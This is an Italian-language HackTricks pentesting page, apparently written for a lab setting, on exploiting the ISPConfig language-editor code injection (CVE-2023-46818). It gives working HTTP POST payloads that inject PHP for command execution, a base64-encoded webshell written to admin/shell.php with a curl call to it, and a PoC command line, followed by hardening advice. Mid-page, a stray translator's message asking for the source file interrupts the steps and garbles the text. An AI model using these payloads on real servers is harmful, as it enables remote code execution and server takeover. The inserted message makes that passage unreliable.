ISPConfig
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
ISPConfig è un control panel di hosting open-source. Le vecchie build 3.2.x includevano una funzionalità di editor dei file di lingua che, se abilitata per il super amministratore, permetteva l'injection di codice PHP arbitrario tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP è eseguito, a privilege escalation.
Percorsi predefiniti principali:
- Web root spesso in
/var/www/ispconfig
quando servito conphp -S
o via Apache/nginx. - L'Admin UI è raggiungibile sul vhost HTTP(S) (a volte legato solo a localhost; usa SSH port-forward se necessario).
Suggerimento: se il pannello è legato localmente (es. 127.0.0.1:8080
), effettua il port-forward:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Interessato: ISPConfig fino a 3.2.11 (corretto in 3.2.11p1)
- Precondizioni:
- Effettuare il login con l'account superadmin integrato
admin
(altri ruoli non sono interessati secondo il vendor) - Il language editor deve essere abilitato:
admin_allow_langedit=yes
in/usr/local/ispconfig/security/security_settings.ini
- Impatto: un admin autenticato può injectare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall'applicazione, ottenendo RCE nel contesto web
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Manual exploitation flow
- Open/create a language file to obtain CSRF tokens
Inviare una prima POST per inizializzare il form e parsare i campi CSRF dalla risposta HTML (csrf_id
, csrf_key
). Esempio di request path: /admin/language_edit.php
.
- Inject PHP via records[] and save
Inviare una seconda POST includendo i campi CSRF e un record di traduzione malevolo. Sonde minime per l'esecuzione di comandi:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band test (osservare ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Scrivere file e caricare una webshell
Usare file_put_contents
per creare un file sotto un percorso raggiungibile via web (es., admin/
):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Poi scrivi una semplice webshell usando base64 per evitare caratteri problematici nel corpo della POST:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Non vedo il contenuto da tradurre. Per favore incolla qui il testo del file src/network-services-pentesting/pentesting-web/ispconfig.md (o caricalo). Posso tradurlo in italiano mantenendo intatti codice, tag, link e percorsi come richiesto.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Se PHP viene eseguito come root (es. tramite php -S 127.0.0.1:8080
avviato da root), ciò porta a root RCE immediato. Altrimenti ottieni l'esecuzione di codice come l'utente del web server.
Python PoC
Un exploit pronto all'uso automatizza la gestione dei token e la consegna del payload:
Esempio di esecuzione:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Rafforzamento
- Aggiornare alla versione 3.2.11p1 o successiva
- Disabilitare l'editor delle lingue a meno che non sia strettamente necessario:
admin_allow_langedit=no
- Evita di eseguire il pannello come root; configura PHP-FPM o il web server per ridurre i privilegi
- Applica un'autenticazione forte per l'account integrato
admin
Riferimenti
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.